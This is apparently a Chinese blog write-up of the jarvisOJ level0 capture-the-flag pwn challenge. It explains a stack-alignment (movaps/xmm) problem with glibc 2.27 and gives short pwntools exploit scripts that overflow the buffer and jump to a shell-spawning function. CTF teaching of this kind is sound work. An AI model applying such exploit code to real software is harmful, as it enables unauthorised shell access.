关于jarvisOJ level0远程打得通本地打不通的问题

今天给学弟演示最简单的pwn题的时候居然翻车了,没想到还是这个xmm寄存器的问题,我tcl,记录一下。
原来的exp是这样。
就是很简单的调用这个callsystem
在这里插入图片描述

结果本地打不通。试了下远程,发现能打通,太奇怪了。

from pwn import*  
r=gdb.debug("./pwn_02","b* 0x00400597")  
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88  
add=p64(0x400596)
payload=pad+add  
print(r.recv())
r.send(payload)  
r.interactive()  

通过gdb调试发现,跳到这里就断了。
在这里插入图片描述
我本地调试系统是ubuntu 18,在bin群里问了问,组长肥猫嘤嘤告诉我是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system("/bin/sh")之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
在这里插入图片描述
在这里插入图片描述
由于xmm寄存器是128bit又用了movaps指令,故必须让rsp的地址能够整除16,解决方法就是少push一个寄存器。
在这里插入图片描述
让指令跳转到400597,本地exp如下:

from pwn import*  
r=gdb.debug("./pwn_02","b* 0x00400597")  
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88  
add=p64(0x400597)
payload=pad+add  
print(r.recv())
r.send(payload)  
r.interactive()  

使用cat /proc/version发现我的本地调试环境是ubuntu 18而jarvis oj本地的环境也是ubuntu18 那么为什么会不同呢,就是glibc版本的问题,使用

ldd --version

查看发现我的glibc版本是

ldd (Ubuntu GLIBC 2.27-3ubuntu1.2) 2.27

jarvisOJ的版本是:

ldd (Ubuntu EGLIBC 2.19-0ubuntu6.15) 2.19

看来就是libc的问题,与系统版本无关。

引用是一段关于利用pwntools库对jarvisoj_level0进行攻击的代码。代码中使用了remote()方法建立了远程连接,并构造了一个payload来利用栈溢出漏洞,最终执行callsystem()函数来获取shell权限。引用也是类似的代码,只是连接的地址不同。引用是一篇关于pwntools基本用法的文章,并提供了一些常用的函数和方法。根据这些引用内容,可以得出结论,jarvisoj_level0是一个存在栈溢出漏洞的程序,可以通过构造特定的payload来执行系统调用函数,从而获取shell权限。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jarvisoj_level0](https://blog.csdn.net/weixin_56301399/article/details/125919313)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [jarvisOJ-level0](https://blog.csdn.net/qq_35661990/article/details/82889103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [jarvis oj---level0解题方法](https://blog.csdn.net/weixin_45427676/article/details/97272924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值